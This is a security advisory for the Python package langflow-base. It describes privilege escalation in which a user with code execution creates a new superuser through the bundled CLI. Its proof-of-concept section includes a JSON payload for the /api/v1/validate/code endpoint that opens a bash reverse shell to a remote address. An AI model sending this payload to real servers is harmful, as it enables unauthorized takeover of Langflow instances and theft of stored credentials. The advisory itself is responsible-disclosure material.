PYSEC-2026-1526

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Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/langflow-base/PYSEC-2026-1526.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-1526
Aliases
Published
2026-07-07T16:03:01Z
Modified
2026-07-13T07:26:37Z
Severity
  • 8.8 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)
Details

This vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.

Summary

A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.

Details

Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:

langflow superuser

This command allows creation of a new superuser without checking whether one already exists.

When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:

/app/.venv/bin/langflow superuser

inside the container, and elevate themselves to full superuser privileges.

This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.

PoC

  1. Start container with LANGFLOW_ENABLE_AUTH set to True.
  2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)
image
  1. Exploit /api/v1/validate/code to get reverse shell

Send an authenticated POST request:

{
  "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n    pass"
}
  1. Inside reverse shell, create superuser:
image
  1. Log into UI as new superuser:
image

Impact

  • Privilege escalation to superuser — complete takeover of the Langflow instance
  • Access to all user data, flows, stored credentials, and configuration
  • Credential leakage — attacker can extract third-party API keys
  • Exposure of environment variables (inside docker container)
  • Ability to run additional Langflow instances via langflow run inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.
  • Full user management — superuser can delete other users, reset their passwords
References

Affected packages

PyPI / langflow-base

Package

Name
langflow-base
View open source insights on deps.dev
Purl
pkg:pypi/langflow-base

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.5.1

Affected versions

0.*
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24
0.0.25
0.0.26
0.0.27
0.0.28
0.0.29
0.0.30
0.0.31
0.0.32
0.0.33
0.0.34
0.0.35
0.0.36
0.0.37
0.0.38
0.0.39
0.0.40
0.0.41
0.0.42
0.0.43
0.0.44
0.0.45
0.0.46
0.0.47
0.0.48
0.0.49
0.0.50
0.0.51
0.0.52
0.0.53
0.0.54
0.0.55
0.0.56
0.0.57
0.0.58
0.0.59
0.0.60
0.0.61
0.0.62
0.0.63
0.0.64
0.0.66
0.0.67
0.0.68
0.0.69
0.0.70
0.0.71
0.0.72
0.0.73
0.0.74
0.0.75
0.0.76
0.0.77
0.0.78
0.0.79
0.0.80
0.0.81
0.0.82
0.0.83
0.0.84
0.0.85
0.0.86
0.0.87
0.0.88
0.0.89
0.0.90
0.0.91
0.0.92
0.0.93
0.0.94
0.0.95
0.0.96
0.0.97
0.0.98
0.0.99
0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.4.post1
0.2.0
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.4.0
0.4.1
0.4.2
0.4.3
0.5.0
0.5.0.post1
0.5.0.post2

Database specific

source 
"https://github.com/pypa/advisory-database/blob/main/vulns/langflow-base/PYSEC-2026-1526.yaml"